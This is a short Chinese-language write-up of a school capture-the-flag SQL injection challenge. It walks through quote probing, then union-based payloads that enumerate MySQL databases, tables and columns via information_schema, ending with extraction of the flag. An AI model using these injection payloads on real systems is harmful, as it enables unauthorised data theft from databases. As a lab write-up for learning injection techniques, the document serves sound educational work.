SQL入门

校赛题sql注入

SQL入门看到一个框框在右上角,开始尝试注入

输入 1’

SQL入门
SQL入门
报错!

输入 1"

SQL入门
SQL入门
没报错!

输入 ’ union select 1,2#

'是为了闭合前面的单引号
#是为了注释掉后面有的东西
中间的语句就是一条普通的查询语句查询出数据库有多少列,当输入为select 1或者select 1,2,3时都会报错,只有这样才不报错
SQL入门
所以有两列

’ union select 1,group_concat(schema_name) from information_schema.schemata#

爆出所有数据库名称!
因为只有两列,所以select后面只能跟两个量
前面一个随意,另一个
group_concat(schema_name)是将所有数据库名打印并用逗号隔开
information_schema.schemata是储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等
SQL入门
得到两个,一看便知ctf是我们要找的数据库

’ union select TABLE_NAME,2 from information_schema.TABLES where TABLE_SCHEMA=‘ctf’#

爆出所有数据表名称!
TABLE_NAME是数据表名称
information_schema.TABLES是储存数据表的地方
TABLE_SCHEMA='ctf’是从取数据库名为ctf中的数据表名

如果ctf不用单引号括起来,就要用url编码一下 TABLE_SCHEMA=0x637466

SQL入门
得到两个数据库,gwht看着像,于是知道gwht是我们要找的数据表

’ union select COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME=‘gwht’#

爆出数据表的所有字段名称!
COLUMN_NAME就是字段名称
information_schema.COLUMNS是储存字段名称的地方
TABLE_NAME='gwht’是刚刚爆出来的表名称

如果gwht不用单引号括起来,就要用url编码一下

SQL入门
终于看到flag了,fl4444g是表中一个字段的名称,估计其中的值就是我们的答案了

’ union select fl4444g,2 from ctf.gwht#

爆值!
fl4444g是刚刚爆出来的字段名称
from后面跟的是数据库名.数据表名,也就是上两个步骤爆出来的值,ctf.gwht
得到答案!
SQL入门
GWHT{[email protected]}

第一次完整的做出一道sql注入题,感觉非常开心,真香